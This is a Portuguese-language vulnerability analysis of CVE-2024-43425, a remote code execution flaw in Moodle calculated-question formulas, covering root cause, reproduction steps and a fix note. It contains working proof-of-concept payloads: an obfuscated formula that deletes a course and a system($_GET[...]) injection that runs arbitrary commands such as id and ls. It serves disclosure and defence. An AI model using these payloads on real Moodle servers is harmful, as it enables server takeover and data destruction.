
Análise técnica detalhada e exploit de prova de conceito para CVE-2024-43425, uma vulnerabilidade de execução remota de código no Moodle por meio de fórmulas de questões calculadas, incluindo causa raiz e etapas de reprodução.
Nome do aplicativo: Moodle
Versão de compilação: moodle-4.4.1
Versões afetadas: 4.4 a 4.4.1, 4.3 a 4.3.5, 4.2 a 4.2.8, 4.1 a 4.1.11 e versões anteriores não suportadas
Link de download: moodle-4.4.1
Atacantes com permissão para criar ou modificar perguntas em um curso Moodle podem criar entradas maliciosas para perguntas calculadas, que podem ser abusadas para executar comandos arbitrários no sistema subjacente.

A função qtype_calculated_find_formula_errors ajuda a garantir a validade das fórmulas inseridas no Moodle, prevenindo erros de sintaxe

As variáveis são substituídas pelo número 1.0, a fórmula é convertida para minúsculas e os espaços em branco são removidos.


A lógica de validação principal é realizada iterando sobre a fórmula e identificando a expressão matemática mais interna à esquerda, distinguível pela ausência de parênteses aninhados. Em seguida, essa expressão é substituída por um 1.0

Finalmente, após a expressão regular não retornar mais correspondências, a fórmula é considerada válida se contiver apenas operadores ou números seguros. A fórmula original é então passada para eval.
A verificação do resultado é feita passando a fórmula para a função php eval() após uma filtragem incompleta. Existem 2 abordagens para contornar o processo de validação:

Substituir os placeholders de variáveis como {a} por seus valores envoltos em (), se adicionarmos {a} à expressão acima correspondendo a 'PRINTF', o resultado será 'PRINTF'(1), então é possível definir uma fórmula de resposta com duas partes: a (function_name) e a {variable}.
2) Variáveis não definidas não são substituídas antes de serem passadas para a função eval(), permanecendo intactas como parte da fórmula. Além disso, as verificações de sanitização para nomes de variáveis são menos rigorosas do que as verificações implementadas para todas as outras partes da fórmula. Isso pode ser abusado para chamar funções arbitrárias ao usar a sintaxe php object->{"member"}.
Criar uma pergunta calculada com uma variável, por exemplo {a}

Salvar a pergunta e definir o intervalo de valores da variável exatamente como o ID do curso, que é 3

Salvar a pergunta, em seguida, editar a expressão para
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Salvar a pergunta modificada resultará em um erro, mas a pergunta ainda será salva. Voltar ao banco de perguntas e pré-visualizar a pergunta. A função DELETE_COURSE excluirá o curso com o ID especificado, ignorando todas as verificações de permissão.


Criar uma pergunta calculada. Definir a fórmula de resposta como:
(1)->{system($_GET[chr(97)])}

A expressão é modificada para 1-0-system($_GET{chr(97)})

Interceptar a requisição e modificar de volta para (1)->{system($_GET[chr(97)])}
%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

Aparece o erro exception-system():Argument#1($command) cannot be empty

Fornecer o comando desejado adicionando &a=[comando arbitrário] à URL. A saída do comando do sistema especificado será incluída no início da resposta HTTP resultante.
A=id

A=ls

Corrigir a função de sanitização qtype_calculated_find_formula_errors para que /question/type/calculated/questiontype.php sempre retorne falso se as perguntas calculadas não estiverem sendo usadas.